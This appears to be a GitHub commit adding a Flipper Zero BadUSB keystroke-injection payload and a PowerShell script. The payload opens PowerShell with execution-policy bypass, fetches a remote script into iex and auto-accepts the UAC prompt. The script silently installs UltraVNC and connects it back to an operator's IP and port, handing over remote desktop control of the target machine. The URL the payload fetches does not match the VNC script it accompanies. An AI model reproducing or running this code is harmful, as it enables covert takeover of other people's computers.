Add files via upload

This commit is contained in:
egieb
2024-07-01 16:15:05 +00:00
committed by GitHub
parent bfc6dea9aa
commit c0828680d3
2 changed files with 59 additions and 0 deletions

View File

@@ -0,0 +1,18 @@
REM Title: Uvnc-Remote-Desktop
REM Author: @beigeworm | https://github.com/beigeworm
REM Description: Downloads Uvnc client to machine and runs winvnc.exe
REM Target: Windows 10
REM *REQUIREMENTS*
REM admin required for disable USB function.
REM some setup for dukie script.
DEFAULT_DELAY 100
REM open powershell (remove -W Hidden to show the window).
GUI r
DELAY 750
STRING powershell -Exec Bypass -C $ip = ''; irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/BadUSB-Detect-and-Protect/main.ps1 | iex
CTRL-SHIFT ENTER
DELAY 2500
ALT y

View File

@@ -0,0 +1,41 @@
<# ======================== Start Uvnc client (Remote Desktop) ==========================
DOWNLOAD SERVER FILES - https://github.com/beigeworm/assets/raw/main/uvnc-server.zip
SYNOPSIS
Downloads Uvnc client to machine and runs winvnc.exe
Veiwable from another machine with vncviewer.exe
USAGE
4. On host machine unzip 'uvnc-server.zip'
5. In extracted folder right click then click 'open in terminal'
1. Run this command with your port specified on your host machine - ./vncviewer.exe -listen 8080
2. Add your IP and PORT below
3. Run this script on a target machine
#>
$ip = "$ip"
$port = '8080'
$tempFolder = "$env:temp\vnc"
$vncDownload = "https://github.com/beigeworm/assets/raw/main/winvnc.zip"
$vncZip = "$tempFolder\winvnc.zip"
if (!(Test-Path -Path $tempFolder)) {
New-Item -ItemType Directory -Path $tempFolder | Out-Null
}
if (!(Test-Path -Path $vncZip)) {
Invoke-WebRequest -Uri $vncDownload -OutFile $vncZip
}
sleep 1
Expand-Archive -Path $vncZip -DestinationPath $tempFolder -Force
sleep 1
rm -Path $vncZip -Force
$proc = "$tempFolder\winvnc.exe"
Start-Process $proc -ArgumentList ("-run")
sleep 2
Start-Process $proc -ArgumentList ("-connect $ip::$port")